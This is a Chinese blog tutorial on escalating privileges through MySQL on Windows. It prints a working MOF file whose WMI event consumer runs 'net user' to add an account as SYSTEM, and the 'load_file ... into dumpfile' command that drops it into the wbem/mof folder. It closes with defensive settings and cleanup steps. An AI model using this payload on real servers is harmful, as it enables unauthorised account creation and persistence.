MySQL_MOF提权
时间:2021-07-01 10:21:17
帮助过:28人阅读
#pragma namespace("\\.\root\subscription")
2 instance of __EventFilter
as $EventFilter
3 {
4 EventNamespace =
"Root\\Cimv2";
5 Name =
"filtP2";
6 Query =
"Select * From __InstanceModificationEvent "
7 "Where TargetInstance Isa \"Win32_LocalTime\" "
8 "And TargetInstance.Second = 5";
9 QueryLanguage =
"WQL";
10 };
11
12 instance of ActiveScriptEventConsumer
as $Consumer
13 {
14 Name =
"consPCSV2";
15 ScriptingEngine =
"JScript";
16 ScriptText =
17 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user moftest mof.test /add\")";
18 };
19
20 instance of __FilterToConsumerBinding
21 {
22 Consumer =
$Consumer;
23 Filter =
$EventFilter;
24 };
上传该文件到服务器上任意位置,再通过 mysql 语句将文件导入。
select load_file(‘C:/phpStudy/WWW/test.mof‘) into dumpfile ‘C:/WINDOWS/system32/wbem/mof/test.mof‘;
执行导入命令失败,SHOW VARIABLES LIKE "secure_file_priv"; 命令查看当前 secure_file_priv。
为了实验看一下效果,靶机 my.ini 添加一行 secure_file_priv = 代表不限制目录,重启 mysql 再执行一次导入命令。
导入后,系统会自动运行该文件,可以再修改第 17 行代码进行添加管理员等操作。由于 mof 是由 system 执行,所以权限满足创建用户、添加管理员等操作,即可完成提权过程。
四、防范
- 尽量不要使用 root 账号连接数据库
- root 账号使用强加密方式
- 对 mysql 数据库目录权限严格限制
- 操作系统目录 C:\Windows\System32\wbem 禁止写入
如果服务器发现被使用 mof 提权,解决循环创建用户方法:
- 打开 cmd 使用命令:net stop winmgmt
- 删除文件夹下内容 C:\Windows\System32\wbem\Repository
- 再执行 net start winmgmt 即可
五、总结
这篇随笔和上一篇MySQL_UDF提权 https://www.cnblogs.com/wkzb/p/13174291.html 都是MySQL提权方式的小总结,如果有错误欢迎师傅们批评指正。
参考:
https://www.jianshu.com/p/6dbac868e2ab
https://netsecurity.51cto.com/art/201610/520320.htm
https://blog.51cto.com/z2ppp/1975985
MySQL_MOF提权
标签:art 内容 连接 img blog ext html on() active